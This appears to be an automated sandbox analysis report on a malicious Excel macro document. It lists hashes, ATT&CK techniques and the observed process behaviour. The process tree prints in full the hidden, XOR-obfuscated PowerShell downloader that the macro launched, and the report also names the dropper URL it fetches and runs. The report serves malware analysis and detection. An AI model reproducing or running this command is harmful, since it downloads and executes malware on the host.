21d6ef52191be9e8c28cad9d827aa0dcdd18ddc7a51413d2bbee37e62c40d6d5

General

Target

21d6ef52191be9e8c28cad9d827aa0dcdd18ddc7a51413d2bbee37e62c40d6d5.xls
Size

56KB
MD5

2467c15c5166bd497fd3c43f7ffcb710
SHA1

eb4032e8bcf843a1f629e193a53ce4a013de445c
SHA256

21d6ef52191be9e8c28cad9d827aa0dcdd18ddc7a51413d2bbee37e62c40d6d5
SHA512

671221f988c36934f2420f6df86bd9719f1a99ff6a3d63863462a4584e7cc1a67b796d2989224e828fa418bb8c2377340301e8ec6ae4b876e132c6b0f0a24a3b
SSDEEP

1536:ok3hOdsylKlgryzc4bNhZFGzE+cL2knAzqC+fzFpyiE:ok3hOdsylKlgryzc4bNhZFGzE+cL2kn9

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://igyygyigus.com/new/smscscript090002000.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2764	2412	powershell.exe	29

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2412	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2412	EXCEL.EXE
2412	EXCEL.EXE
2412	EXCEL.EXE
2412	EXCEL.EXE
2412	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 2764	2412	EXCEL.EXE	30
PID 2412 wrote to memory of 2764	2412	EXCEL.EXE	30
PID 2412 wrote to memory of 2764	2412	EXCEL.EXE	30
PID 2412 wrote to memory of 2764	2412	EXCEL.EXE	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\21d6ef52191be9e8c28cad9d827aa0dcdd18ddc7a51413d2bbee37e62c40d6d5.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden -noprofile -ExecutionPolicy RemoteSigned function v4bad81 { param($ndddb) $z717f = 'a25baab'; $r8f981d = ''; for ($i = 0; $i -lt $ndddb.length; $i+=2) { $o622e = [convert]::ToByte($ndddb.Substring($i, 2), 16); $r8f981d += [char]($o622e -bxor $z717f[($i / 2) % $z717f.length]); } return $r8f981d; } $x642a = '14415c0c064131184141070c5a6f6b47460b0f0642324b4616040c4c33475b16080c074f7b5b1604130d1161501017080104410e6f6b1117035e5c0141020e004146420e50570305076f6b1a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c413215134226574132130e0120565110041211497b5b16311510415a780d05140e041e151115130b0f551512130e012f535807485a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c41321513422d5d54062d08001353471b491216135b5b05410f030c571c596c6b42411215424141423a76590e280c120e40414a430a07135c500e525340486f386841414241121542411117035e5c0141121600465c0141041a1557470c41030d0e5e153408131614535932130e160451414a280f16314647420d11230556470712124e41677c0c15311613125115320818041e1517080f164154592c041632135d410702154e415d401641140b0f46150e11070e2e5e5132130e160451414b5a6c68411215424141424169710e0d280f115d471649432904405b070d52504f56590e434d42245c411018310d085c41425c41403346592f0e17072c57580d1318404d126607152d0312467010130e10410f1504000d11041b686f6b4142411215424141111553410b024107194650100f41140e5b51422c0e14047f500f0e131b497b5b1631151041565011154d42285c41321513421240564e41080c1512460b1b044b5a3f3f6f6b4142411215424141121450590b0241111553410b02410b0f461510030257550b074a486c6841121542414142414938684141424112154241414241127c0c15311613125e5b59005b5054155f412d0d0056790b031303134b1d14550303050a044a4351525454015451035607020052045106431b1c596c6b42411215424141424112154208074249590c5a0058530712085f41280c156241104f3b07135d1c6f6b414241121542414142411215196c6b4241121542414142411215424141424140501614130c41030e6f6b4142411215424141424112151f6c6b6f6b1215424141424112154241412b0f466516134115020a0050415c4226574132130e012056511004121149590c5a005853071e1514550303050a044a4353525454015451035153020752525104560201525155525602015351434b480938684141424112154241414241125c04414915020a0050415c5f417b5b163115104f6850100e486f6b121542414142411215424141196c381542414142411215424141424112154213041614405b42505a6f6b1215424141424112154241411f6c383868414142411215424141424112602b0f15321540150616320b1b57155f414937285c413215134b54093868414142411215424141424112400b0f15423b57470d415c42510938684141424112154241414241125c04414943375b471614000e31405a160402164945565a54534e41564231081b074d12051a55514e415d4016413b07135d1c4b6c6b4241121542414142411215421a6c684112154241414241121542414142411247071514100f1204596c6b4241121542414142411215421c6c68411215424141424112154241231b15576e3f41310315515d425c411941024d51504d42514a53044d4152190b05421c5a6f6b1215424141424112154241412b0f4665161341170f5f540c00060705625a0b0f1507131208422c0010125a540e4f200e0d5d562a260d0d0353594a5248596c381542414142411215424141422c53471109000e4f715a121849320046560a4d41524d12400c0c000c00555006310e0b0f4650104d415148093868414142411215424141424112780d17042f045f5a1018490c0445152b0f153215401d15025957531c610d280f1657061d4b414a42514a055250034b4d12400c0c000c00555006310e0b0f4650104d41514809386841414241121542414142411247071514100f1205596c6b42411215424141421c3f3f6b681117035e5c0141121600465c01411216135b5b054117560353515a50491115405c0c06411115407c0c486c68411215424141424149386868686b1246470b0f064213505356545256410f154000535703535400435a6f6b1215424141424112154241411115405c0c06410f5806040603415f41614110080f054f7758121518596c38154241414241121542414142075d474249080c15125c425c41525a125c425d411115407c0c4f2d070f55410a5a410b4119084253486f6b121542414142411215424141196c38154241414241121542414142411215420318160412575553525052120842220e0c175747164f350d234b4107491216137b5b4c3214001246470b0f064a081e1550484d4250041c596c6b424112154241414241121542414142415f0c565005004119084249020a00401c4a035650520006423f411003540157525539495b154d41534b411715100307565401014c2d040c06465d3f485a6f6b1215424141424112154241411f6c38386841414241121542414142411247071514100f12585b5550060309386841414241121542411c6f6b4f'; $x642a2 = v4bad81($x642a); Add-Type -TypeDefinition $x642a2; [o15b72]::rbc5492(); Start-Sleep -s 1; $m83735 = $env:APPDATA; $zeb93 = $m83735 + '\\b1bbb65.exe'; If (test-path $zeb93) {Remove-Item $zeb93}; $yee8b6 = New-Object System.Net.WebClient; $yee8b6.Headers['User-Agent'] = 'yee8b6'; $yee8b6.DownloadFile('https://igyygyigus.com/new/smscscript090002000.exe', $zeb93); Start-Process -Filepath $zeb93;
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2412-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2412-1-0x0000000072BED000-0x0000000072BF8000-memory.dmp

Filesize
44KB

Download
memory/2412-8-0x0000000006610000-0x0000000006710000-memory.dmp

Filesize
1024KB

Download
memory/2412-9-0x0000000006610000-0x0000000006710000-memory.dmp

Filesize
1024KB

Download
memory/2412-10-0x0000000006610000-0x0000000006710000-memory.dmp

Filesize
1024KB

Download
memory/2412-13-0x0000000072BED000-0x0000000072BF8000-memory.dmp

Filesize
44KB

Download
memory/2412-14-0x0000000006610000-0x0000000006710000-memory.dmp

Filesize
1024KB

Download

Analysis

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